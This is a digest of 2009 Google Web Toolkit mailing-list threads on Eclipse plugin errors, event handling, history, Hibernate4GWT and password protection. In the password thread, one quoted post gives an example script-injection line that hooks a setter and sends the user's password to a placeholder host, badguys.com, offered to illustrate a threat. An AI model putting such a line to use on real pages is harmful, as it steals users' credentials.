Re: Eclipse Plugin Compile Button Stack Overflow
concerning the second case , it was a type mistake my proxy requires authentiification and that's whay I mentionned the second case -Dhttp.proxyUser=me -Dhttp.proxyPassword=me_crypted instead of proxyHost when adding these two params I got my self in the second case , concerning your question for eclipse setting , I configured eclipse to use the proxy with the same , for every body this is a tip that may help , I changed the VM type in jvm.cfg as -server (jvm ) that was helpful for some cases but not all the time coz I still have stack overflow problems with bigger project ( IE: if the code source of the project stay the same and I just include more image ressources to the war directory the I got into StackOverflow) --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Any easier way I can trap the double click in a Grid ?
Hi All, I want to select a row in the Grid when I click any of the cell in the Grid. which is working fine when I use dataTable.addTableListener new TableListener (){ public void onCellClicked(SourcesTableEvents sender, final int row,final int cell) { . } }); Now I have to code in place the make the cell editable, when I double click any cell. But I dont know how to get the Doubleclick event in the Grid. I heard of sinkEvents and onBrowserEvent But not sure how to go about it. Any help would be appreciated. Thanks Suren --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
GWT DIV
I have this 3 element: Label label1=new Label(TEXT_1); Label label2=new Label(TEXT_2); TextBox selectPage=new TextBox(); I want to organize the elements of above in this maner: div TEXT_1 input type=text/ TEXT_2 /div How i do that? P.S. I don't want to use VerticalPanel because the VerticalPanel's type is TABLE. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: New to GWT -- Having Eclipse PlugIn Installation Problems
The zips don't include the SDKs. You can download the SDKs and then tell the plugin where they are. This link explains how to add SDKs http://code.google.com/eclipse/docs/using_sdks.html. You can download the App Engine Java SDK from http://code.google.com/appengine/downloads.html and the GWT SDK from http://code.google.com/webtoolkit/download.html. Alternatively, you can use the update site to get the latest SDKs. On Wed, May 20, 2009 at 1:28 PM, JAppetta jennifer.appe...@sas.com wrote: Hello All: I am a new GWT user who is having problems with installation. I installed the Eclipse plugin by extracting the zip file (per the instructions in the FAQ). I restarted Eclipse and did a File-New Web Application Project and the New Web Application Project dialog appeared. I noticed that Use Google Web Toolkit was checked but Use default SDK (none) is greyed out. When I look in my dropins\eclipse \plugins directory, I have 4 jars: com.google.appengine.eclipse.core_1.0.1.v200905131143.jar com.google.gdt.eclipse.core_1.0.1.v200905131143.jar com.google.gdt.eclipse.suite_1.0.1.v200905131143.jar com.google.gwt.eclipse.core_1.0.1.v200905131143.jar It seems like I am missing some or all of the SDK. I looked at the documentation but perhaps I missed an instruction to install the SDK after extracting the plugin files. So my question is ... where should I download the SDK for use with the eclipse plugin? Does the location matter? Thanks, Jennifer -- Miguel --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: History implementation and Kitchen sink example
Hi Salvador, you wrote about line 211 of Showcase.java... But where to find this showcase.java... Plz help me I am stuck in history management] plz help I On May 17, 3:23 pm, Salvador Diaz diaz.salva...@gmail.com wrote: Hi imgnik, HistoryListener (the class that contained the onHistoryChanged method) is deprecated as ofGWT1.6.4, the new event system introduced the new ValueChangeHandler and its onValueChanged method, which do the same thing. Take a look at line 211 of Showcase.java, that's where you'll find thehistorymanagement implementation. Hope that helps, Salvador On May 16, 7:39 pm, imgnik ytbr...@gmail.com wrote: and one more thing, i cannot find the onHistoryChanged in the showcase app. why is this so ? and why is it not needed? On May 16, 6:45 pm, imgnik ytbr...@gmail.com wrote: I don't understand how did theHistory.fireCurrentHistoryState() works. when i press the back button what actually happen? can someone advise me ? On May 16, 12:32 pm, 0710 ytbr...@gmail.com wrote: Isee! thanks sumit. will check it out the showcase! On May 13, 7:05 pm, Sumit Chandel sumitchan...@google.com wrote: Hiimgnik, That's right, the Mail sample application doesn't supporthistory, however, the Showcase sample application, as mentioned in my last post, does. You can find the online Showcase sample application demo here:http://gwt.google.com/samples/Showcase/Showcase.html The source code for the application will be in the samples/ directory of yourGWTdistribution. Hope that helps, -Sumit Chandel On Wed, May 13, 2009 at 6:31 AM,imgnikytbr...@gmail.com wrote: i mean the online demo herehttp://gwt.google.com/samples/Mail/Mail.html On May 13, 3:26 pm,imgnikytbr...@gmail.com wrote: Thank you for your reply Sumit. I check out the Mailbox app. Tried the online demo here but it doesn't seems to havehistorymanagement as stated. I tried looking for thehistoryclass in mailbox source code but cannot find. did anyone else have this problem? regardsytbryan On May 12, 1:01 am, Sumit Chandel sumitchan...@google.com wrote: Hiytbryan, The KitchenSink sample application, previously used inGWT1.4 and prior to showcase theGWTwidgets, has been replaced by the more appropriately named Showcase sample application that serves the same purpose. You should be able to find the Showcase sample application in yourGWTdistribution, which also supportsbrowserhistory. If the Showcase sample application isn't enough to get you started on the Historyimplementation for your application, please feel free to post up about any difficulties you encounter on the forum. Hope that helps, -Sumit Chandel On Fri, May 8, 2009 at 7:49 AM,ytbryanytbr...@gmail.com wrote: hi all, I have problem implementinghistoryon mygwtapplication. i wanted to download thekitchensink but cannot find it in the website or thegwtdistribution. can someone kindly give me the link to download the source code? many thanks --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Please help
Thank you very much This helped me a lot and the function worked correctly, I mean in the way how I wanted it.. Thanks once again. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Handle events from separate class?
Using GwtEvent.getSource() retrieves the source that last fired this event so you can differentiate event source widgets. Jim http://www.gwtorm.com - GWT ORM On May 21, 4:44 am, Dalla dalla_man...@hotmail.com wrote: I guess this question is not really GWT specific, but I haven´t been working much with handlers at all when developing web applications earlier. I´ll make a very simple example: public class EventManagerTest implements EntryPoint { public void onModuleLoad() { final Button sendButton = new Button(Send); final TextBox helloField = new TextBox(); } } Let´s say I want to print Hello world in the textbox when someone clicks sendButton. Most examples would use: sendButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { helloField.setText(Hello world); } }); But if my application will handle multiple click event, I read that it would be better to create a separate class to handle the events, something like: public class Handler implements ClickHandler { @Override public void onClick(ClickEvent event) { } } Now to my question: How can I set the text of the helloField (or manipulate any other widget for that matter) from my Handler class, when the helloField is in another class? Or did I get this wrong altogether? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Handle events from separate class?
Yes, this I know. In this example the source would be the sendButton, right? But is there any way in which I can manipulate helloField when Handler is a separate class? Or do I have to make Handler an inner class inside EventManagerTest to be able to manipulate helloField? On 21 Maj, 15:35, Jim jim.p...@gmail.com wrote: Using GwtEvent.getSource() retrieves the source that last fired this event so you can differentiate event source widgets. Jimhttp://www.gwtorm.com- GWT ORM On May 21, 4:44 am, Dalla dalla_man...@hotmail.com wrote: I guess this question is not really GWT specific, but I haven´t been working much with handlers at all when developing web applications earlier. I´ll make a very simple example: public class EventManagerTest implements EntryPoint { public void onModuleLoad() { final Button sendButton = new Button(Send); final TextBox helloField = new TextBox(); } } Let´s say I want to print Hello world in the textbox when someone clicks sendButton. Most examples would use: sendButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { helloField.setText(Hello world); } }); But if my application will handle multiple click event, I read that it would be better to create a separate class to handle the events, something like: public class Handler implements ClickHandler { @Override public void onClick(ClickEvent event) { } } Now to my question: How can I set the text of the helloField (or manipulate any other widget for that matter) from my Handler class, when the helloField is in another class? Or did I get this wrong altogether? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Hibernate4Gwt inherited issue
Hi All, I am new to Hibernate4GWT. I try to implement in my module and follow the same instruction as given in the Hibernate4GWT test case. According to that one, i creates my BDO's in com.test.modulename.bdo package and imported in the client or widgets. But i am facing some issue i.e. [ERROR] Line 16: No source code is available for type com.test.modulename.bdo.ABC; did you forget to inherit a required module? While i also included the source path in the gwt.xml file as :- source path='bdo'/ source path='client'/ Then also not able to resolve that issue. Please give me solution on that issue. Regards, Sunil. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: i cant run Web Application Project in eclipse
Thank you very much Alex Rudnick wrote: Hey Taha, It sounds like the problem is that, while GWT comes with a 32-bit version of SWT, you're using a 64-bit JVM. If you switch to a 32-bit JVM, then you'll be set! (and in future versions of GWT, once we have the OOPHM feature, it won't be an issue) We should probably document this better for GWT. Hope this helps! On Wed, May 20, 2009 at 2:42 PM, taha taha...@gmail.com wrote: i want to create an application with gwt+eclipse+googleAppEngine i create new project with Web Application Project button in the toolbar whene i try to run or debug it i recive this messages Exception in thread main java.lang.UnsatisfiedLinkError: /media/sdb8/ Install/gwt-linux-1.6.4/libswt-pi-gtk-3235.so: /media/sdb8/Install/gwt- linux-1.6.4/libswt-pi-gtk-3235.so: wrong ELF class: ELFCLASS32 (Possible cause: architecture word width mismatch) at java.lang.ClassLoader$NativeLibrary.load(Native Method) at java.lang.ClassLoader.loadLibrary0(ClassLoader.java:1778) at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1674) at java.lang.Runtime.load0(Runtime.java:770) at java.lang.System.load(System.java:1005) at org.eclipse.swt.internal.Library.loadLibrary(Library.java:132) at org.eclipse.swt.internal.gtk.OS.clinit(OS.java:22) at org.eclipse.swt.internal.Converter.wcsToMbcs(Converter.java:63) at org.eclipse.swt.internal.Converter.wcsToMbcs(Converter.java:54) at org.eclipse.swt.widgets.Display.clinit(Display.java:126) at com.google.gwt.dev.SwtHostedModeBase.clinit (SwtHostedModeBase.java:82) Could not find the main class: com.google.gwt.dev.HostedMode. Program will exit. -- Alex Rudnick swe, gwt, atl --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Eclipse Plugin Compile Button Stack Overflow
I still need to know how to configure, command line proxy settings !!! once again the new release of the plugin does not offer any solution to my problem the compile button is still not compiling even if I specify -Xss8m where as it worked and compile successfully from hosted mode with the same lower stack parameter (just -Xss1024k) On 21 mai, 13:25, louatia...@hotmail.com louatia...@gmail.com wrote: concerning the second case , it was a type mistake my proxy requires authentiification and that's whay I mentionned the second case -Dhttp.proxyUser=me -Dhttp.proxyPassword=me_crypted instead of proxyHost when adding these two params I got my self in the second case , concerning your question for eclipse setting , I configured eclipse to use the proxy with the same , for every body this is a tip that may help , I changed the VM type in jvm.cfg as -server (jvm ) that was helpful for some cases but not all the time coz I still have stack overflow problems with bigger project ( IE: if the code source of the project stay the same and I just include more image ressources to the war directory the I got into StackOverflow) --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Eclipse Plugin Compile Button Stack Overflow
Let's split this issue into two. First, you want to be able to configure the proxy settings. I'll have one of our guys who knows the proxy issues pretty well follow up on this thread. Second, the compile button is not working? Could you provide more details as to how it fails? Is there a stack trace? On Thu, May 21, 2009 at 10:05 AM, louatia...@hotmail.com louatia...@gmail.com wrote: I still need to know how to configure, command line proxy settings !!! once again the new release of the plugin does not offer any solution to my problem the compile button is still not compiling even if I specify -Xss8m where as it worked and compile successfully from hosted mode with the same lower stack parameter (just -Xss1024k) On 21 mai, 13:25, louatia...@hotmail.com louatia...@gmail.com wrote: concerning the second case , it was a type mistake my proxy requires authentiification and that's whay I mentionned the second case -Dhttp.proxyUser=me -Dhttp.proxyPassword=me_crypted instead of proxyHost when adding these two params I got my self in the second case , concerning your question for eclipse setting , I configured eclipse to use the proxy with the same , for every body this is a tip that may help , I changed the VM type in jvm.cfg as -server (jvm ) that was helpful for some cases but not all the time coz I still have stack overflow problems with bigger project ( IE: if the code source of the project stay the same and I just include more image ressources to the war directory the I got into StackOverflow) -- Miguel --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Handle events from separate class?
public class Handler implements ClickHandler { @Override public void onClick(ClickEvent event) { Widget widget = event.getSource(); if (widget instanceof TextBox) { TextBox textBox = (TextBox)widget; //do whatever you want //If you have many TextBox, you can use Id to identify them } else {//some other widget that fires the same event } } } Jim http://www.gwtorm.com - GWT ORM On May 21, 9:43 am, Dalla dalla_man...@hotmail.com wrote: Yes, this I know. In this example the source would be the sendButton, right? But is there any way in which I can manipulate helloField when Handler is a separate class? Or do I have to make Handler an inner class inside EventManagerTest to be able to manipulate helloField? On 21 Maj, 15:35, Jim jim.p...@gmail.com wrote: Using GwtEvent.getSource() retrieves the source that last fired this event so you can differentiate event source widgets. Jimhttp://www.gwtorm.com-GWT ORM On May 21, 4:44 am, Dalla dalla_man...@hotmail.com wrote: I guess this question is not really GWT specific, but I haven´t been working much with handlers at all when developing web applications earlier. I´ll make a very simple example: public class EventManagerTest implements EntryPoint { public void onModuleLoad() { final Button sendButton = new Button(Send); final TextBox helloField = new TextBox(); } } Let´s say I want to print Hello world in the textbox when someone clicks sendButton. Most examples would use: sendButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { helloField.setText(Hello world); } }); But if my application will handle multiple click event, I read that it would be better to create a separate class to handle the events, something like: public class Handler implements ClickHandler { @Override public void onClick(ClickEvent event) { } } Now to my question: How can I set the text of the helloField (or manipulate any other widget for that matter) from my Handler class, when the helloField is in another class? Or did I get this wrong altogether?- Hide quoted text - - Show quoted text - --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Handle events from separate class?
I suppose this would work great if I actually clicked the textbox. But I want to change the text in the textbox when I click a button, not the textbox itself :-) On 21 Maj, 16:36, Jim jim.p...@gmail.com wrote: public class Handler implements ClickHandler { @Override public void onClick(ClickEvent event) { Widget widget = event.getSource(); if (widget instanceof TextBox) { TextBox textBox = (TextBox)widget; //do whatever you want //If you have many TextBox, you can use Id to identify them } else {//some other widget that fires the same event } } } Jimhttp://www.gwtorm.com- GWT ORM On May 21, 9:43 am, Dalla dalla_man...@hotmail.com wrote: Yes, this I know. In this example the source would be the sendButton, right? But is there any way in which I can manipulate helloField when Handler is a separate class? Or do I have to make Handler an inner class inside EventManagerTest to be able to manipulate helloField? On 21 Maj, 15:35, Jim jim.p...@gmail.com wrote: Using GwtEvent.getSource() retrieves the source that last fired this event so you can differentiate event source widgets. Jimhttp://www.gwtorm.com-GWTORM On May 21, 4:44 am, Dalla dalla_man...@hotmail.com wrote: I guess this question is not really GWT specific, but I haven´t been working much with handlers at all when developing web applications earlier. I´ll make a very simple example: public class EventManagerTest implements EntryPoint { public void onModuleLoad() { final Button sendButton = new Button(Send); final TextBox helloField = new TextBox(); } } Let´s say I want to print Hello world in the textbox when someone clicks sendButton. Most examples would use: sendButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { helloField.setText(Hello world); } }); But if my application will handle multiple click event, I read that it would be better to create a separate class to handle the events, something like: public class Handler implements ClickHandler { @Override public void onClick(ClickEvent event) { } } Now to my question: How can I set the text of the helloField (or manipulate any other widget for that matter) from my Handler class, when the helloField is in another class? Or did I get this wrong altogether?- Hide quoted text - - Show quoted text - --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Password Encryption
Security is a very complex and wide world. It's not the same an application for a blog with basic security that a back application with a very high security at the browser, communication and server levels. Usually it's enough using a hash D Peters said. For enterprises, usually I have to use HTTPS to protect the data interchanged too. All depends on the security level that your app requires. On May 20, 3:26 pm, D Peters logicpet...@gmail.com wrote: Ah.. doing an RSA-type transaction over javascript is tricky, but do- able. But do you really need that level of security? Most web-sites do not do this -- they merely hash the password using one-way encryption (MD5). There are plenty of js libraries to do this, and all you would need to do in GWT is wrap the encode method with a JSNI call. A very simple solution offering a basic level of security (so passwords don't go in clear text over the wire). I'm not saying MD5 hashing on the client is great security. You could intercept the hashed password and do a rainbow attack to find out what the true password is, or hack the application and use the hashed password to imitate the user. It really depends on how secure your site needs to be.. On May 19, 10:15 pm, Mark Renouf mark.ren...@gmail.com wrote: This is a solved issue, there's many approaches. SSL is the easiest but not always needed, or possible (adds latency and scaling problems). We use HmacSHA1 client side with GWT, and find it works well for our needs. HmacSHA1 is simple enough to implement once you get SHA1 working. There's tons of examples out there. I took one that was relatively simple Java sample and adjusted it work with GWT. It goes something like this: 1. Server sends random token to client (called a NONCE or Number used once) 2. Client computes HmacSHA1(token, passoword+timestamp) and sends the resulting signature and the timestamp used back to the server. 3. The server performs the same operation and confirms it's computed signature matches the one returned by the client and that the timestamp is within an acceptable time range. If these conditions are met, the client has proven it has the correct password. You can protect against replay by only allowing a token to be used once from the same IP address it was sent to. You can extend this easily to do more: If you do this on every request, and include the URL, query parameters and key headers in the signature you can secure various web service calls. If you compute the MD5 or SHA1 of the body, and include that in the Hmac signature as well, then you've got a message integrity check on the whole request. If you need to prevent others from seeing the data of the requests at all, then SSL is your only real option. On May 19, 8:10 pm, Vitali Lovich vlov...@gmail.com wrote: First off, good luck trying to disassemble the GWT compiled code - it's hard to read even when you know what the original Java code is doing. Nextly, I don't think I understand the problem you are presenting - it seems to me that if you have a script-injection exploit in your code, there is no way you can code it to protect the user, since the attacking code can always modify the original code in whatever way is necessary to send the password to the attacker. So whether or not you implement the algorithm in Javascript or not is irrelevant. An algorithm is a step-by-step process, independent of the language used to express it. Security is a property of the algorithm/protocol, not the language. Exactly how do you block the get set functions? Also, it's not like those functions are standard, so I'm guessing their your equivalent to the more common foo bar. On Tue, May 19, 2009 at 6:48 PM, Alyxandor a.revolution.ultra.b...@gmail.com wrote: You can't attack the post-RSA password field, but if there's any point along the way that the password is passed inside javascript, it might be possible for a script-injection attacker to overwrite your functions / add getter functions to prototypes and post your password using something like rsa.prototype.set()=function(pass){addHack ( 'script src=badguys.com?x='+pass+'/http://badguys.com?x=%27+pass+%27/');...} Or such. Of course, you sound like a smart guy who would already override such functions to prevent an attack, but not everybody thinks to manually block get() and set(), so having plain-script authentication would let badguys.com know if it's worth trying or not... --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at
Re: GWT DIV
AbsolutePanel is a simple DIV On May 21, 2:48 pm, grigoregeorge grigoregeorge631...@gmail.com wrote: I have this 3 element: Label label1=new Label(TEXT_1); Label label2=new Label(TEXT_2); TextBox selectPage=new TextBox(); I want to organize the elements of above in this maner: div TEXT_1 input type=text/ TEXT_2 /div How i do that? P.S. I don't want to use VerticalPanel because the VerticalPanel's type is TABLE. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Hibernate4Gwt inherited issue
Hi All, Can anybody give me an idea how can i resolve this issue. On May 21, 6:52 pm, Sanj sunil.ban...@daffodildb.com wrote: Hi All, I am new toHibernate4GWT. I try to implement in my module and follow the same instruction as given in theHibernate4GWTtest case. According to that one, i creates my BDO's in com.test.modulename.bdo package and imported in the client or widgets. But i am facing some issue i.e. [ERROR] Line 16: No source code is available for type com.test.modulename.bdo.ABC; did you forget to inherit a required module? While i also included the source path in the gwt.xml file as :- source path='bdo'/ source path='client'/ Then also not able to resolve that issue. Please give me solution on that issue. Regards, Sunil. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Handle events from separate class?
public class Handler implements ClickHandler { private TextBox textBox = null; public Handler(TextBox textBox ) { this.textBox = textBox; } } Jim http://www.gwtorm.com - GWT ORM http://code.google.com/p/dreamsource-orm/ On May 21, 11:18 am, Dalla dalla_man...@hotmail.com wrote: I suppose this would work great if I actually clicked the textbox. But I want to change the text in the textbox when I click a button, not the textbox itself :-) On 21 Maj, 16:36, Jim jim.p...@gmail.com wrote: public class Handler implements ClickHandler { @Override public void onClick(ClickEvent event) { Widget widget = event.getSource(); if (widget instanceof TextBox) { TextBox textBox = (TextBox)widget; //do whatever you want //If you have many TextBox, you can use Id to identify them } else {//some other widget that fires the same event } } } Jimhttp://www.gwtorm.com-GWT ORM On May 21, 9:43 am, Dalla dalla_man...@hotmail.com wrote: Yes, this I know. In this example the source would be the sendButton, right? But is there any way in which I can manipulate helloField when Handler is a separate class? Or do I have to make Handler an inner class inside EventManagerTest to be able to manipulate helloField? On 21 Maj, 15:35, Jim jim.p...@gmail.com wrote: Using GwtEvent.getSource() retrieves the source that last fired this event so you can differentiate event source widgets. Jimhttp://www.gwtorm.com-GWTORM On May 21, 4:44 am, Dalla dalla_man...@hotmail.com wrote: I guess this question is not really GWT specific, but I haven´t been working much with handlers at all when developing web applications earlier. I´ll make a very simple example: public class EventManagerTest implements EntryPoint { public void onModuleLoad() { final Button sendButton = new Button(Send); final TextBox helloField = new TextBox(); } } Let´s say I want to print Hello world in the textbox when someone clicks sendButton. Most examples would use: sendButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { helloField.setText(Hello world); } }); But if my application will handle multiple click event, I read that it would be better to create a separate class to handle the events, something like: public class Handler implements ClickHandler { @Override public void onClick(ClickEvent event) { } } Now to my question: How can I set the text of the helloField (or manipulate any other widget for that matter) from my Handler class, when the helloField is in another class? Or did I get this wrong altogether?- Hide quoted text - - Show quoted text -- Hide quoted text - - Show quoted text - --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Password Encryption
My sentiments exactly. Not to mention that it's actually quite easy, if you don't know what you are doing, and make a secure algorithm unsecure by something as simple as choosing the wrong random number generator ( I imagine the random number generator used in Javascript is actually not suitable). I would always prefer HTTPS over anything I would write because its so reliable and people much smarter than I have verified the particular implementation. On Thu, May 21, 2009 at 11:28 AM, Magius antonio.diaz@gmail.com wrote: Security is a very complex and wide world. It's not the same an application for a blog with basic security that a back application with a very high security at the browser, communication and server levels. Usually it's enough using a hash D Peters said. For enterprises, usually I have to use HTTPS to protect the data interchanged too. All depends on the security level that your app requires. On May 20, 3:26 pm, D Peters logicpet...@gmail.com wrote: Ah.. doing an RSA-type transaction over javascript is tricky, but do- able. But do you really need that level of security? Most web-sites do not do this -- they merely hash the password using one-way encryption (MD5). There are plenty of js libraries to do this, and all you would need to do in GWT is wrap the encode method with a JSNI call. A very simple solution offering a basic level of security (so passwords don't go in clear text over the wire). I'm not saying MD5 hashing on the client is great security. You could intercept the hashed password and do a rainbow attack to find out what the true password is, or hack the application and use the hashed password to imitate the user. It really depends on how secure your site needs to be.. On May 19, 10:15 pm, Mark Renouf mark.ren...@gmail.com wrote: This is a solved issue, there's many approaches. SSL is the easiest but not always needed, or possible (adds latency and scaling problems). We use HmacSHA1 client side with GWT, and find it works well for our needs. HmacSHA1 is simple enough to implement once you get SHA1 working. There's tons of examples out there. I took one that was relatively simple Java sample and adjusted it work with GWT. It goes something like this: 1. Server sends random token to client (called a NONCE or Number used once) 2. Client computes HmacSHA1(token, passoword+timestamp) and sends the resulting signature and the timestamp used back to the server. 3. The server performs the same operation and confirms it's computed signature matches the one returned by the client and that the timestamp is within an acceptable time range. If these conditions are met, the client has proven it has the correct password. You can protect against replay by only allowing a token to be used once from the same IP address it was sent to. You can extend this easily to do more: If you do this on every request, and include the URL, query parameters and key headers in the signature you can secure various web service calls. If you compute the MD5 or SHA1 of the body, and include that in the Hmac signature as well, then you've got a message integrity check on the whole request. If you need to prevent others from seeing the data of the requests at all, then SSL is your only real option. On May 19, 8:10 pm, Vitali Lovich vlov...@gmail.com wrote: First off, good luck trying to disassemble the GWT compiled code - it's hard to read even when you know what the original Java code is doing. Nextly, I don't think I understand the problem you are presenting - it seems to me that if you have a script-injection exploit in your code, there is no way you can code it to protect the user, since the attacking code can always modify the original code in whatever way is necessary to send the password to the attacker. So whether or not you implement the algorithm in Javascript or not is irrelevant. An algorithm is a step-by-step process, independent of the language used to express it. Security is a property of the algorithm/protocol, not the language. Exactly how do you block the get set functions? Also, it's not like those functions are standard, so I'm guessing their your equivalent to the more common foo bar. On Tue, May 19, 2009 at 6:48 PM, Alyxandor a.revolution.ultra.b...@gmail.com wrote: You can't attack the post-RSA password field, but if there's any point along the way that the password is passed inside javascript, it might be possible for a script-injection attacker to overwrite your functions / add getter functions to prototypes and post your password using something like rsa.prototype.set()=function(pass){addHack ( 'script src=badguys.com?x='+pass+'/http://badguys.com?x=%27+pass+%27/ http://badguys.com?x=%27+pass+%27/');...}
Composite question
Hi, I see how Composite is useful in theory for custom widgets, to wrap rather than extend specific widgets prevent exposing all their methods; but I have found that Composite itself has a LOT of methods exposed, particularly the UIObject position/dimension/etc setters which I had wanted hidden in the first place! It defeats the purpose of using it for me - to provide component/view developers with my widgets that have only my methods exposed (only mine - bwa-ha-ha-ha!). Am I missing something here? Is there any better way of blocking all these Composite methods other than kludgy myWidget @Override? Thanks, Alan --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Composite question
On 05/21/2009 09:22 AM, alan m wrote: Hi, I see how Composite is useful in theory for custom widgets, to wrap rather than extend specific widgets prevent exposing all their methods; but I have found that Composite itself has a LOT of methods exposed, particularly the UIObject position/dimension/etc setters which I had wanted hidden in the first place! It defeats the purpose of using it for me - to provide component/view developers with my widgets that have only my methods exposed (only mine - bwa-ha-ha-ha!). Am I missing something here? At first glance, yes. Can you post a short sample code snippet? You should be writing something like: public class MyWidget extends Composite {} --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: GWT 1.6.4: Exception in DriverManager.getConnection
